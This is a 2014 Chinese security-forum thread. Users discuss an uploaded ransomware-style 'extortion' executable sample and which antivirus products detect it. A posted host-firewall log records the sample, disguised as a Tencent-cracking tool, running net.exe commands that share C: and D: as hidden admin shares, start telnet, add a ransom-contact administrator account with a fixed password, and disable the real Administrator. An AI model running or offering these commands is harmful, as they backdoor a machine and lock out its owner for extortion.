样本区最近有些冷呀，上传exe竹杠样本一枚

threatfire

liu浪的人 发表于 2014-8-15 15:25
毛豆还容易掉规则

那是CFW7吧 界面还很卡顿

liu浪的人

threatfire 发表于 2014-8-15 15:26
那是CFW7吧 界面还很卡顿

之前用过5和6，听说7会掉规则，没敢装。

275751198

360未知，没有人上报还是处理速度太慢

liu浪的人

275751198 发表于 2014-8-15 16:07
360未知，没有人上报还是处理速度太慢

数字云一向以神速著称，这次难道抽了？

穆斯林460

liu浪的人

穆斯林460 发表于 2014-8-15 16:44

多引擎怪物的检测率还是杠杠的。

XywCloud

费尔扫描杀

，就一个.

熊猫扫描不杀，双击被干掉了 哈哈哈

liu浪的人

，就一个. 发表于 2014-8-15 20:19
熊猫扫描不杀，双击被干掉了 哈哈哈

层主双击真棒

hddu

2014-08-16 13:34:34    运行应用程序      操作:阻止
进程路径:C:\Documents and Settings\Administrator\桌面\破腾讯后台  给力版.exe
文件路径:C:\WINDOWS\system32\net.exe
命令行:share houmen$=c:\
触发规则:所有程序规则->系统程序设置->%windir%\system32\net*.exe


2014-08-16 13:34:34    运行应用程序      操作:阻止
进程路径:C:\Documents and Settings\Administrator\桌面\破腾讯后台  给力版.exe
文件路径:C:\WINDOWS\system32\net.exe
命令行:share houmen2$=d:\
触发规则:所有程序规则->系统程序设置->%windir%\system32\net*.exe


2014-08-16 13:34:34    运行应用程序      操作:允许
进程路径:C:\Documents and Settings\Administrator\桌面\破腾讯后台  给力版.exe
文件路径:C:\WINDOWS\system32\net.exe
命令行:start telnet
触发规则:所有程序规则->系统程序设置->%windir%\system32\net*.exe


2014-08-16 13:34:35    运行应用程序      操作:允许
进程路径:C:\Documents and Settings\Administrator\桌面\破腾讯后台  给力版.exe
文件路径:C:\WINDOWS\system32\net.exe
命令行:start Server
触发规则:所有程序规则->系统程序设置->%windir%\system32\net*.exe


2014-08-16 13:34:35    运行应用程序      操作:阻止
进程路径:C:\Documents and Settings\Administrator\桌面\破腾讯后台  给力版.exe
文件路径:C:\WINDOWS\system32\net.exe
命令行:user 要密加Q1934613348 8888888888 /add
触发规则:所有程序规则->系统程序设置->%windir%\system32\net*.exe


2014-08-16 13:34:35    运行应用程序      操作:阻止
进程路径:C:\Documents and Settings\Administrator\桌面\破腾讯后台  给力版.exe
文件路径:C:\WINDOWS\system32\net.exe
命令行:user 要密加Q1934613348 /active:yes
触发规则:所有程序规则->系统程序设置->%windir%\system32\net*.exe


2014-08-16 13:34:35    运行应用程序      操作:阻止
进程路径:C:\Documents and Settings\Administrator\桌面\破腾讯后台  给力版.exe
文件路径:C:\WINDOWS\system32\net.exe
命令行:localgroup Administrators 要密加Q1934613348 /add
触发规则:所有程序规则->系统程序设置->%windir%\system32\net*.exe


2014-08-16 13:34:35    运行应用程序      操作:阻止
进程路径:C:\Documents and Settings\Administrator\桌面\破腾讯后台  给力版.exe
文件路径:C:\WINDOWS\system32\net.exe
命令行:user Administrator /active:no
触发规则:所有程序规则->系统程序设置->%windir%\system32\net*.exe


2014-08-16 13:34:35    运行应用程序      操作:允许
进程路径:C:\WINDOWS\system32\net.exe
文件路径:C:\WINDOWS\system32\net1.exe
命令行:start telnet
触发规则:应用程序规则->系统程序->%windir%\system32\net*.exe->%windir%\system32\net*.exe


2014-08-16 13:34:35    运行应用程序      操作:允许
进程路径:C:\WINDOWS\system32\net.exe
文件路径:C:\WINDOWS\system32\net1.exe
命令行:start Server
触发规则:应用程序规则->系统程序->%windir%\system32\net*.exe->%windir%\system32\net*.exe


2014-08-16 13:34:43    关闭/重启系统      操作:阻止
进程路径:C:\Documents and Settings\Administrator\桌面\破腾讯后台  给力版.exe

触发规则:所有程序规则->*